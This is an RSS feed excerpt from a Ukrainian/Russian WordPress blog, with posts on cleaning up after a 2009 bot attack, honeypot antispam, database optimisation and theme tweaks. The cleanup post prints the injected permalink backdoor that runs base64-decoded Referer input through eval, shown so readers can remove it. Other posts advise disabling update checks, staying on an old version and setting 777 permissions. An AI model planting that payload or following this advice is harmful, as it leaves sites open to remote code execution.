		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[захисти свій блог]]></category>
		<category><![CDATA[оптимізація wordpress'у]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=656</guid>

					<description><![CDATA[[tab:Українською] Вчора пройшла хвиля атаки і взлому блогів на вордпресі. А якщо погуглити, то можемо зробити висновок, що пострадали тисячі сайтів. Так в чому полягала суть? А суть в тому, що дехто запустив в мережу бота, що виявляв старі версії WordPress (до версії 2.8.4) і користуючись старим багом, реєстрував юзера і використовуючи певних шаблон посилання...]]></description>
										<content:encoded><![CDATA[<p>[tab:Українською]</p>
<p><a href="http://wordpress.org/support/topic/307518">Вчора</a> пройшла хвиля атаки і взлому блогів на вордпресі. А якщо <a href="http://tr.im/xYih">погуглити</a>, то можемо зробити висновок, що пострадали тисячі сайтів.</p>
<p><img loading="lazy" decoding="async" src="http://www.picamatic.com/show/2009/09/06/01/29/4981924_300x331.png" alt="захищаєм блог від хакерів" class="alignright" width="300" height="331" />Так в чому полягала суть? А суть в тому, що дехто запустив в мережу бота, що виявляв старі версії WordPress (до версії 2.8.4) і користуючись старим багом, реєстрував юзера і використовуючи певних шаблон посилання отримував адмінські права, потім під цим юзером міняв шаблон ЧПУ в налаштуваннях, а далі модифікував (заражав) код теми, щоб підсовувати відвідувачам вірус чи ще якусь фігню.</p>
<p>І хоч мій блог досі працює на одній із старих версій вордпресу, але його ця напасть минувала. А все тому, що бот визначав версію блога по мета-тегу, що автоматом прописує вордпрес в усі теми, а я цей тег давним давно в себе видалив. Про те, як видалити цей тег, я писав раніше в статті: <a href="https://lilumi.org.ua/wordpress/wordpress-korisni-funkciyi-v-functionsphp">корисні функції в functions.php</a> — раджу і вам таке зробити ;)</p>
<p>А тим, хто вже пострадав від цього віруса, черв&#8217;яка, бота (називайте як хочете) потрібно зробити:</p>
<ul>
<li>В налаштуваннях ЧПУ, поміняти з<br />
<code>/%postname%/%&({${evаl(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</code><br />
на<br />
<code>/%postname%/</code><br />
(у вас може відрізнятись структура, по аналогії я думаю зрозумієте :))</li>
<li>Найдіть останнього зареєстрованого користувача на вашому сайті і знищіть його! Швидше за все, це буде MikeWink E-mail: bugbeemershonyhe@gmail.com</li>
<li>Оновити WordPress до версії 2.8.4</li>
</ul>
<p><span id="more-656"></span></p>
<p>Але якщо немає бажання оновлюватись і хочете покращити безпеку свого блогу, ви можете заборонити всім доступ до адмінки окрім себе, за допомогою невеличкої правки .htaccess<br />
Звичайно, було б добре коли у вас постійний статичний IP-адрес, тоді тільки б його і вказали. А якщо у вас динамічна айпішка, то можете вказати діапазон<br />
Для цього зробіть наступне:</p>
<ul>
<li>зайдіть на сайт <a href="http://myip.ru">myip.ru</a> аби дізнатись ваш IP адрес (способів дізнатись зовнішній айпі дуже багато, я привів самий простий для блондинок). Ви наприклад побачили: ВАШ IP-АДРЕС: 91.134.98.173</li>
<li>створіть файл .htaccess в папці wp-admin вашого блогу і пропишіть там наступне:
<pre><code>AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName "Access Control"
AuthType Basic
<LIMIT GET>
order deny,allow
deny from all
allow from 91.134.98.173
</LIMIT></code></pre>
<p>а якщо у вас динамічна айпішка, то краще напишіть так: </p>
<pre><code>
AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName "Access Control"
AuthType Basic
<LIMIT GET>
order deny,allow
deny from all
allow from 91.134.0.0/255.255.0.0
</LIMIT></code></pre>
<p>Детальніше про синтаксис директив Allow, Deny для Apache htaccess читайте <a href="http://httpd.apache.org/docs/1.3/mod/mod_access.html#allow">тут</a>.</li>
<li>Збережіть файл. Все.</li>
</ul>
<p>Тепер, до адмінки вашого блогу зможете потрапити лише ви з вашого комп&#8217;ютера. А якщо ви будете в дорозі, або в інтернет-кафе і захочете, зайти в адмінку блога, а вас не буде пускати (швидше за все, ви побачите помилку 404), бо айпішка не входить у вказаний діапазон, то тоді вам потрібно буде зайти по фтп на хостинг і тимчасово переіменувати файл .htaccess. І тут мабудь хтось з вас подумав: «<em>Це що, я ще й маю пароль на фтп пам&#8217;ятати для таких випадків?</em>» — Ну а що ви хотіли, прийдеться жертувати зручністю заради безпеки. Це як у відомій цитаті: «Так вам шашечки или ехать?!»</p>
<p>Бережіть себе і бережіть свій блог.</p>
<p>[tab:По русски]</p>
<p><a href="http://wordpress.org/support/topic/307518">Вчера</a> прошла волна атаки и взлома блогов на вордпрессе. И если <a href="http://tr.im/xYih">погуглить</a>, то можно судить, что пострадали тысячи блогов.</p>
<p>Но как все это произошло? А случилось вот что: кое-кто запустил в сеть бота, который находил старые версии WordPress (до версии 2.8.4) и пользуясь старым багом, регистрировал юзера и используя определенную ссылку получал права админа на блоге, потом под этим юзером менял шаблон ЧПУ в настройках, а далее модифицировал (заражал) код темы.</p>
<p>И хотя мой блог до сих пор работает на одной из старых версий вордпресса, но не пострадал. А все потому, что бот определял версию блога по мета-тегу, который автоматически прописывает вордпресс во все темы, а я этот тег давным-давно у себя удалил. Про то, как удалить этот тег, я писал ранее в статье: <a href="https://lilumi.org.ua/wordpress/wordpress-korisni-funkciyi-v-functionsphp">корисні функції в functions.php</a> — советую и вам так же сделать ;)</p>
<p>А тем, кто уже пострадал от этого вируса, червья, бота (называйте как хотите) нужно:</p>
<ul>
<li>В настройках ЧПУ, поменять с<br />
<code>/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</code><br />
на<br />
<code>/%postname%/</code><br />
(у вас может отличаться структура, по аналогии думаю поймете, что где поменять :))</li>
<li>Найдите последнего  зарегистрированного пользователя на вашем сайте и уничтожьте его! Скорее всего , это будет MikeWink E-mail: bugbeemershonyhe@gmail.com</li>
<li>Обновите WordPress до версии 2.8.4</li>
</ul>
<p>А если нет желания обновляться и хотите улучшить безопасность своего блога, то вы можете запретить всем доступ к админке, кроме себя, с помощю небольшой правки .htaccess<br />
Конечно, было бы лучше, если у вас постоянный статический IP-адрес, тогда тольки бы его и указывали. Но в случае динамического айпи-адреса можете указывать диапазон адресов.<br />
Для это сделайте следующее:</p>
<ul>
<li>зайдите на сайт <a href="http://myip.ru">myip.ru</a> чтобы узнать ваш IP адрес. К примеру: ВАШ IP-АДРЕС: 91.134.98.173</li>
<li>создайте файл .htaccess в папке wp-admin вашего блога и пропишите там следующее:
<pre><code>AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName "Access Control"
AuthType Basic
<LIMIT GET>
order deny,allow
deny from all
allow from 91.134.98.173
</LIMIT></code></pre>
<p>в случае динамического IP-адреса, напишите так: </p>
<pre><code>
AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName "Access Control"
AuthType Basic
<LIMIT GET>
order deny,allow
deny from all
allow from 91.134.0.0/255.255.0.0
</LIMIT></code></pre>
<p>Подробнее о синтаксисе директив Allow, Deny для Apache htaccess читайте <a href="http://httpd.apache.org/docs/1.3/mod/mod_access.html#allow">здесь</a>.</li>
<li>Сохраните файл. Все.</li>
</ul>
<p>Теперь, к админке вашего блога зайти можете только вы с вашого компьютера. Ну а если вы будете в дороге, или в интернет-кафе и захотите, зайти в админку блога, а вас не будет пускать (скорей всего, вы увидите сообщение об ошибке 404), потому что IP-адрес не входит в указанный диапазон, то тогда вам нужно будет зайти по фтп на хостинг и <strong>временно</strong> переименовать файл .htaccess. И тут, наверное, кто-то из вас подумал: «<em>Это я еще должен и пароль на фтп помнить для таких случаев?</em>» — Ну а что вы хотели, приходится жертвовать удобством ради безопасности. Помните цитату: «Так вам шашечки или ехать?!»</p>
<p>Берегите себя и берегите свой блог.</p>
<p>[tab:END]</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Хитрий і ефективний метод боротьби зі спамерами. І без КАПЧ.</title>
		<link>https://lilumi.org.ua/wordpress/i-have-no-spam</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Fri, 27 Mar 2009 15:01:45 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[antispam]]></category>
		<category><![CDATA[die spam]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=645</guid>

					<description><![CDATA[Ну ви ж знаєте, я фігню не порекомендую. Сам цим способом користуюсь майже півроку і спамерів з того часу не бачив в себе. Які ви бачили методи боротьби зі спамом? з мого досвіду: плагіни капч (captcha) — фу. Акісмет — не справляється Parasite Eliminator — «хорошо, но не очень». Він стоїть в мене на одному...]]></description>
										<content:encoded><![CDATA[<p>Ну ви ж знаєте, я фігню не порекомендую. Сам цим способом користуюсь майже півроку і спамерів з того часу не бачив в себе.<br />
 Які ви бачили методи боротьби зі спамом? з мого досвіду:</p>
<ul>
<li>плагіни капч (captcha) — фу.</li>
<li> Акісмет — не справляється</li>
<li> Parasite Eliminator — «хорошо, но не очень». Він стоїть в мене на одному блозі + Akismet  і все рівно спам проскакує (інколи на модерації затримується, а інколи й пропускає).</li>
<li>інші антиспам-плагіни — fail</li>
<li> кумедні рішення — постав галочку «я не робот» чи «нажми на прямокутник», навіть пробувати не хочу, бо знаю як це обходиться</li>
<li>відповіді на запитання — ага, один раз наткнувся на питання: «What color is orange?» я спробував і «оранжевий» і «апельсиновий» і «помаранчевий» і «orange» — ніфіга, не пускала шайнтан-машина</li>
</ul>
<p>Я от обхожу стороною такі блоги, статтю ще можу почитати, але свій коментар лишати не збираюся.</p>
<p>А тепер прийшла пора розказати, чому в мене немає спамерів і для відвідувачів створенні всі умови для зручного коментування.<br />
 В мене форма коментування з «подвійним дном» — насправді в мене дві форми — в одну пишуть роботи-спамери, а друга для моїх шанованих відвідувачів.<br />
 <span id="more-645"></span><br />
 Для цього в файлі <strong><code>comments.php</code></strong> вашої теми вордпресу знайдіть наступний рядок:</p>
<pre><code class="html">&lt;textarea name="comment" id="comment" cols="61" rows="13" class="textarea"&gt;&lt;/textarea&gt;</code></pre>
<p>цей рядок ми замінимо на такі два рядки:</p>
<pre><code class="html">&lt;div class="smo"&gt;&lt;textarea name="comment" id="comment" cols="61" rows="13" class="textarea"&gt;&lt;/textarea&gt;&lt;/div&gt;
&lt;textarea name="real-comment" id="real-comment" cols="61" rows="13" class="textarea"&gt;&lt;/textarea&gt;</code></pre>
<p>де ви бачите, що попередню форму для коментування (textarea) ми засунемо в окремий блок, який згодом приховаємо, і створюєм ще один блок коментування для людей, в якому ім’я блоку відрізняється від стандартного імені, що присвоює вордпрес. Тут в прикладі є &#8220;<strong>real-comment</strong>&#8220;, але ви можете його змінити на щось своє, наприклад на &#8220;<strong>text-comment</strong>&#8220;. Так само як і можете змінити <strong>class=&#8221;smo&#8221;</strong> на щось інше, наприклад <strong>class=&#8221;comtext&#8221;</strong><br />
 Тепер відкривайте <strong>style.css</strong> для вашої теми і пропишіть там цей рядок:</p>
<pre><code class="css"><strong>.smo</strong> {position: absolute; left: -1000px;}</code></pre>
<p>Що це значить? Це значить, що стандартну форму коментування ми приховали, таким чином, що зсунули її на -1000 пікселів на екрані, але спамбот не може цього знати, бо він не може аналізувати вміст файлу стилів і тому буде пробувати написати коментар в цю форму.<br />
 Тепер зробимо, аби люди могли спокійно залишати коментар. Для цього відкрийте файл <strong><code>wp-comments-post.php</code></strong>, що знаходиться в корені вашого вордпрес-блогу та віднайдіть такі рядки:</p>
<pre><code class="php">
$comment_author       = trim(strip_tags($_POST['author']));
$comment_author_email = trim($_POST['email']);
$comment_author_url   = trim($_POST['url']);
$comment_content      = trim($_POST['comment']);</code></pre>
<p>які слід замінити на:</p>
<pre><code class="php">
$spam_test_field = trim($_POST['comment']);
if(!empty($spam_test_field)) wp_die('Іще один спамер попався!');
$comment_author       = trim(strip_tags($_POST['author']));
$comment_author_email = trim($_POST['email']);
$comment_author_url   = trim($_POST['url']);
$comment_content      = trim($_POST['real-comment']);</code></pre>
<p>Це і все! Це звісно не вбереже вас від ручного спаму, але якщо брати до уваги що 99% спаму це спамботи, то цей спосіб можна спокійно називати панацеєю від спаму.</p>
<p><strong>UPD</strong>: Андрій Поданенко вирішив поставити під сумнів цей метод і ми позмагались у винахідливості. Про що його стаття у відповідь: «<a class="mp" href="http://itua.name/node/555">І знову спам. Погляд відсутності 0% та 100%. Antitop v0.3.</a>»</p>
<p><strong>UPD2</strong> (26.11.2010) Тепер вже не потрібно це все робити вручну, бо є вже готовий плагін <a href="http://wordpress.org/extend/plugins/antispam-bee/">Antispam Bee</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Давай WordPress, хутчіш WordPress</title>
		<link>https://lilumi.org.ua/wordpress/php-speedy-wordpress</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Sun, 15 Mar 2009 16:17:06 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[optimization]]></category>
		<category><![CDATA[php speedy]]></category>
		<category><![CDATA[wordpress plugins]]></category>
		<category><![CDATA[блогерам]]></category>
		<category><![CDATA[оптимізація wordpress'у]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=638</guid>

					<description><![CDATA[PHP Speedy гонить і не сигналить :) Давненько я нічого нового не публікував, все займаюсь іншими речами: роблю свою першу тему для вордпресу, вивчаю css та jquery, взявся за сайт присвячего доктору Хаусу, найняв туди контент-менеджера, тепер всі прибутки з того сайту йдуть їй на зарплату, але впевнений, що це швидко окупиться. А ще давно...]]></description>
										<content:encoded><![CDATA[<h3 style="text-align: right;">PHP Speedy гонить і не сигналить :)</h3>
<p><img decoding="async" class="alignleft" src="http://aciddrop.com/wp-content/wp-uploads/aciddrop/images/php_speedy_logo_medium.gif" alt="php speedy logo" />Давненько я нічого нового не публікував, все займаюсь іншими речами: роблю свою першу тему для вордпресу, вивчаю css та jquery, взявся за сайт присвячего доктору Хаусу, найняв туди контент-менеджера, тепер всі прибутки з того сайту йдуть їй на зарплату, але впевнений, що це швидко окупиться.</p>
<p>А ще давно я собі намітив в todo&#8217;шках, аби оптимізувати код сторінок сайту, бо вони занадто багато займають. Загалом проблема великого розміру коду сторінок властива всім вордпресовським блогам, на які поначіплювано багато плагінів, чи використовують преміум-теми. Колись провіряв по сервісу webo.in свій блог, так він знайшов багато слабких місць і дав довжелезний список рекомендацій, як покращити код сайту і зробити його швидшим та легшим для завантаження.<br />
 Коли я то все почав вручну робити, то вже на перших пунктах затикався, бо не знав як додавати ETag / Last-Modified для файлів, зменшувати кількість css та javascript&#8217;ів теж непросто, бо не знаєш, чи надовго в тебе той чи інший плагін, який їх використовує. Короче, я забив на то всьо і зрозумів, що ще не доріс до такої оптимізації.</p>
<p>І тут, буквально позавчора натикаюсь на один скрипт, що оптимізує сайти якраз по цим параметрам. А як я втішився, коли побачив, що для wordpress&#8217;у вони випустили плагін, що робить всю ручну оптимізацію автоматичною, по натисканню однієї кнопки. Ляпота!</p>
<p><span id="more-638"></span></p>
<p>Загалом суть цього плагіну така: він об’єднує всі css-файли в один, всі js скрипти теж в один файл, потім його стискає gzip&#8217;ом, додає ETag / Last-Modified для усіх файлів, мініфікує сторінки (minify), додає кешуючі заголовки до всіх файлів, а в наступних версіях навіть обіцяють автоматом збирати CSS-спрайти (CSS Sprites).</p>
<p>І все що треба, так це скачати плагін <a href="http://aciddrop.com/php-speedy/">PHP Speedy</a>, активувати, та перейти на сторінку його налаштувань, де за допомогою підказок ви дізнаєтесь, що треба зробити. На правильних хостингах (яким я вважаю TOPUA.net) нічого не треба змінювати, а ось на більшості прийдеться змінити права доступу на файл конфігу плагіну, та дати права 777 на папку cache цього плагіну, в якій і будуть зберігатись наші оптимізовані css та js файли.</p>
<p>Я коли провірив, то очам своїм не міг повірити. Ось характеристика моєї головної сторінки блогу до оптимізації (дані взяті з плагіну <a href="https://addons.mozilla.org/uk/firefox/addon/5369">Yslow</a>):<br />
 <img decoding="async" src="http://clip2net.com/clip/m7265/1236763374-clip-15kb.png" alt="до оптимізації wordpress'у" /></p>
<p>А ось після того, як я натиснув кнопочку &#8216;Activate&#8217; в плагіні PHP Speedy:</p>
<p><img decoding="async" src="http://clip2net.com/clip/m7265/1236763931-clip-14kb.png" alt="після оптимізації WordPress'y завдяки PHP Speedy" /></p>
<p>Вражає, правда? (тут А це найвища оцінка а F це найгірша, така американська система оцінок)</p>
<p>І маленька ложечка дьогтю: все кльово, але плагін ще не є релізом і тому трапляютсья деякі недоліки, ось наприклад він не може аналізувати css що включені через @import, але обіцяють і це виправити в наступних версіях.</p>
<p>Пробуйте і ви. Провірити можна на око, а можна отримати і точні дані завдяки аддонам <a href="https://addons.mozilla.org/uk/firefox/addon/1843">Firebug</a> (вкладка NET) та <a href="https://addons.mozilla.org/uk/firefox/addon/5369">Yslow</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>WordPress : проста і ефективна оптимізація бази данних</title>
		<link>https://lilumi.org.ua/wordpress/wordpress-database-optimization</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Tue, 11 Nov 2008 14:33:32 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[optimization]]></category>
		<category><![CDATA[phpmyadmin]]></category>
		<category><![CDATA[post revisions]]></category>
		<category><![CDATA[wordpress plugins]]></category>
		<category><![CDATA[блогерам]]></category>
		<category><![CDATA[оптимізація wordpress'у]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=606</guid>

					<description><![CDATA[Ви здивуєтесь коли я вам скажу, що в базі даних вордпресу знаходиться 80% зайвої, нікому не потрібної інфи. А так і є. В моєму випадку з бази я викинув 67% сміття, у вас я думаю показники будуть більші. Отож по порядку: Clean Options &#8211; чистим опції Знищуємо таблиці від непотрібних плагінів Міняємо кодування бази даних...]]></description>
										<content:encoded><![CDATA[<p>Ви здивуєтесь коли я вам скажу, що в базі даних вордпресу знаходиться <strong>80%</strong> зайвої, нікому не потрібної інфи. А так і є. <br />
 <img loading="lazy" decoding="async" style="margin: 10px 5px; vertical-align: middle;" title="Оптимізація Вордпресу" src="http://img-fotki.yandex.ru/get/3300/lilumio.2/0_18056_88c8df2_orig" alt="Оптимизация движка вордпресса и работа с базами данніх by Lilumi" width="634" height="65" /></p>
<p>В моєму випадку з бази я викинув 67% сміття, у вас я думаю показники будуть більші. Отож по порядку:</p>
<ol>
<li><a href="#cleanoptions">Clean Options</a> &#8211; чистим опції</li>
<li><a href="#removetables">Знищуємо таблиці від непотрібних плагінів</a></li>
<li><a href="#databaseencoding">Міняємо кодування бази даних Вордпресу</a></li>
<li><a href="#postrevisions">Вилучаємо ревізії постів</a></li>
<li><a href="#cleardashboard">Викидаєм зайве з Dashboard </a></li>
</ol>
<p>А почалося все з цього:<span id="more-606"></span></p>
<p><a href="http://img-fotki.yandex.ru/get/3000/lilumio.2/0_18057_a00ea042_orig"><img loading="lazy" decoding="async" style="border: 0pt none; margin: 5px;" title="wordpress optimization" src="http://img-fotki.yandex.ru/get/3000/lilumio.2/0_18057_a00ea042_L.jpg" alt="wordpress optimization" width="500" height="456" /></a><br />
 Зверніть увагу на таблицю wp_options &#8211; 1.3Mb &#8211; це ж нечуванно!</p>
<p><a name="cleanoptions"></a><strong>Clean Options &#8211; чистим опції</strong><br />
 Саме прикріше те, що &#8220;сміттєва&#8221; інформація знаходиться в таблиці wp_options (мабудь розраховували на те, що звичайний юзер побоїться в неї залізти). Отож скачуємо плагін <a href="http://wordpress.org/extend/plugins/clean-options/">Clean Options</a> і запускаємо його кнопкою Find Orphaned Options. Ви побачите довжелезний список опцій що були добавленні плагінами, що стоять у вас, або колись стояли. От видалити ті опції плагінів що уже не стоять задача нелегка, адже там явно не вказано від якого плагіну той чи інший запис, тому прийдеться діяти наосліп озброївшись пошуком по гуглю. (можливо все таки <strong>варто зробити бекап бази</strong> перед цими діями, я відповідальності за ваші дії не несу). А нижче ви побачите список новин з rss-каналів що появляються в Панелі керування. <br />
 <img loading="lazy" decoding="async" style="margin: 5px;" src="http://img-fotki.yandex.ru/get/3004/lilumio.2/0_18058_92da0487_orig" alt="" width="423" height="297" /><br />
 Ну признайтесь, хтось з вас їх читав? Я ні, а саме ці новини і займають по пару мегабайт в ваших базах даних вордпресу. От від них ми і безболісно позбавимось. Виділяєте їх і тиснете на &#8220;View Selected Options Information&#8221; де ви побачите зміст цих полів. Перед вами простягнеться довжелезне простирадло з довжелезним скроллом зі змістом того &#8220;сміття&#8221;. Одразу ж після завершення завантаження сторінки жміть End на клавіатурі, вибирайте галочку &#8220;Yes, Remove ALL of these options from the wp_options table.&#8221; і Submit. Здавалося би все — діло зроблене, але насправді ці дані все ще лишились в базі і для того щоб їх остаточно знищити слід зробити оптимізацію таблиць. Для цього заходимо в PhpMyAdmin і вибираємо таблицю wp_options а внизу вибираєм пунктик &#8220;Optimize Table&#8221; <br />
 <a href="http://fotki.yandex.ru/users/lilumio/view/98394/"><img loading="lazy" decoding="async" style="border: 0pt none; margin: 5px;" title="wordpress optimization" src="http://img-fotki.yandex.ru/get/3205/lilumio.2/0_1805a_995e68ec_L.jpg" alt="wordpress optimization" width="500" height="310" /></a></p>
<p><a name="removetables"></a><strong>Знищуємо таблиці від непотрібних плагінів</strong></p>
<p>Як швидко дізнатись, що таблиця не &#8220;рідна-вордпресовська&#8221; а від плагіну?<br />
 По замовчуванню вордпрес створює 10 таблиць:<br />
 wp_comments<br />
 wp_links<br />
 wp_options<br />
 wp_postmeta<br />
 wp_posts<br />
 wp_terms<br />
 wp_term_relationships<br />
 wp_term_taxonomy<br />
 wp_usermeta<br />
 wp_users<br />
 Думаю у вас кількість таблиць значно більша і вияснити яка з них іще використовується, а яка вже ні, справа дещо складніша. Я лише так &#8220;на око&#8221; по назвам прикидував, здебільшого в назвах міститься натяк на те до якого плагіна вона відноситься. Ті таблиці що мені були невідомі я просто назву їх закидував в гугль і дивився результат. Таким чином з бази я викинув 21-у таблицю із 35!</p>
<p><a name="databaseencoding"></a><strong>Виправлення помилки в кодуваннях таблиць бази даних WordPress<br />
 </strong></p>
<p>В мене виявилось що по налаштуваннях MySql на хостингу всі нові таблиці створювались в кодуванні <strong>latin1_swedish_ci</strong> що є зовсім неправильним, але легко виправляється. Для цього в PhpMyAdmin в закладці Operations(Операции) знаходимо рядок: Collantions (Сравнение) і міняємо його на <strong>utf8_general_ci</strong>. Go! ok. <br />
 А от як бути з тими що вже в неправильному кодуванні? В інтернеті є описаний спосіб як його поміняти, але мені було простіше видалити всі таблиці в неправильному кодуванні і заново активувати плагіни що їх створювали (але в цьому я був впевнений, а вам так діяти не рекомендую, краще залишіть як є).</p>
<p><a name="postrevisions"></a><strong>Видаляємо ревізії постів</strong><br />
 В новій версії вордпресу ввели таке поняття як <a href="http://codex.wordpress.org/Revision_Management">ревізії</a>. Оскільки більшості ця функція нафіг не впала, то її можна вимкнути тим самим ще зменшити розмір бази даних і не давати їй так швидко розростатись. Для цього в файлі <strong>wp-config.php</strong> вимикаємо ревізії:</p>
<pre><code class="php">define(<span class="string">'WP_POST_REVISIONS'</span>, false);</code></pre>
<p>а потім все в тому ж PhpMyAdmin (Ви ж іще не закрили вкладку із ним, чи не так ;)) робимо запит:</p>
<pre><code class="sql"><span class="keyword">DELETE</span> <span class="keyword">FROM</span> wp_posts <span class="keyword">WHERE</span> post_type = <span class="string">'revision'</span>; </code></pre>
<p>Опісля виділяємо таблицю wp_posts і робимо її оптимізацію (надіюсь ще пам&#8217;ятаєте, пару абзаців вище я писав як ще робиться)</p>
<p><a name="cleardashboard"></a><strong>Викидуєм зайве з Dashboard (панель керування</strong>)<br />
 Ну і нарешті заліземо в один файлик — wp-admin/index.php з якого викинемо зайві рядки, аби нові rss-новини більше не засмічували базу.</p>
<pre><code class="php">&lt;div id=<span class="string">"dashboard-widgets-wrap"</span>&gt;

<span style="text-decoration: line-through;"><span class="preprocessor">&lt;?php</span> wp_dashboard(); <span class="preprocessor">?&gt;</span></span>

&lt;/div&gt;</code></pre>
<p>От той рядок що закресленний якраз і треба викинути. Незручність лише в тому, що при кожному оновленні версії WordPress прийдеться знову чистити базу від RSS-каналів новин та знову видаляти цей рядочок у файлі.<br />
 В результаті цих дій я отримав таку картину:<br />
 <a href="http://fotki.yandex.ru/users/lilumio/view/98396/"><img loading="lazy" decoding="async" style="border: 0pt none; margin: 5px;" title="wordpress optimization" src="http://img-fotki.yandex.ru/get/3206/lilumio.2/0_1805c_bfafc33c_L.jpg" alt="wordpress optimization" width="500" height="195" /></a><a href="http://fotki.yandex.ru/users/lilumio/view/98396/"></a><br />
 і я нею задоволений, з 3-ох мегабайт зменшити базу до 1 метра!<br />
 <strong>p.s.</strong> До речі, плагін Clean Options після всіх цих дій, можна вимкнути, а коли обновитесь до нової версії WordPress то знову ввімкнете і повторите ці дії.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>wordpress: корисні функції в functions.php</title>
		<link>https://lilumi.org.ua/wordpress/wordpress-korisni-funkciyi-v-functionsphp</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Sun, 09 Nov 2008 19:29:43 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[wordpress plugins]]></category>
		<category><![CDATA[блоги]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=602</guid>

					<description><![CDATA[Почав виковирювати з вордпресу лишнє і оптимізовувати по всім флангам, потрохи буду викладувати матеріали з цього приводу. Пора повикидати з початкового коду вордпресу лишні теги. В ідеалі хочу зробити так, аби ніхто не зміг здогадатись що я використовую вордпрес в якості cms. Особисто мене дуже дратує напис: &#60;meta name="generator" content="WordPress 2.5.1" /&#62;&#60;!-- leave this for...]]></description>
										<content:encoded><![CDATA[<p>Почав виковирювати з вордпресу лишнє і оптимізовувати по всім флангам, потрохи буду викладувати матеріали з цього приводу.</p>
<p>Пора повикидати з початкового коду вордпресу лишні теги. В ідеалі хочу зробити так, аби ніхто не зміг здогадатись що я використовую вордпрес в якості cms. Особисто мене дуже дратує напис:</p>
<pre><code class="html">&lt;meta name="generator" content=<span class="value">"WordPress 2.5.1" /&gt;&lt;!-- leave this for stats --&gt;</code></pre>
<p>Для цього в <strong>functions.php</strong> вашої теми слід добавити два рядочки:</p>
<pre><code class="php">&lt;?php
  remove_action('wp_head', 'wp_generator');
  remove_action('wp_head', 'wlwmanifest_link');
?&gt;</code></pre>
<p>а якщо вам надоїли попередження про оновлення версії вордпресу, то можна і їх вимкнути (до речі я теж схиляюся до думки що версія 2.3.3 є самою оптимальною)</p>
<p>Для цього в файлі <strong>wp-includes/update.php</strong> коментуєм значком # “лишній рядок” :</p>
<pre><code class="php">#add_action( init', 'wp_version_check');</code></pre>
<p>Це до речі певним чином і прискорить роботу в адмінці.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Мій робочий стіл :)</title>
		<link>https://lilumi.org.ua/lilumi/mij-robochyj-stil</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Tue, 25 Mar 2008 11:59:34 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[базис]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[screenshot]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[windows]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/lilumi/mij-robochyj-stil</guid>

					<description><![CDATA[«скріншот з компа на роботі» на Яндекс.Фотках]]></description>
										<content:encoded><![CDATA[<div style="text-align: center"><a href="http://fotki.yandex.ru/users/lilumi-odi/view/44791/"><img loading="lazy" decoding="async" title="скріншот з компа на роботі" src="http://img-fotki.yandex.ru/get/16/lilumi-odi.1/0_aef7_b6b4d5a8_L.jpg" border="0" alt="скріншот з компа на роботі" width="500" height="400" /></a></div>
<div><a href="http://fotki.yandex.ru/users/lilumi-odi/view/44791/">«скріншот з компа на роботі»</a> на <a href="http://fotki.yandex.ru">Яндекс.Фотках</a></div>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
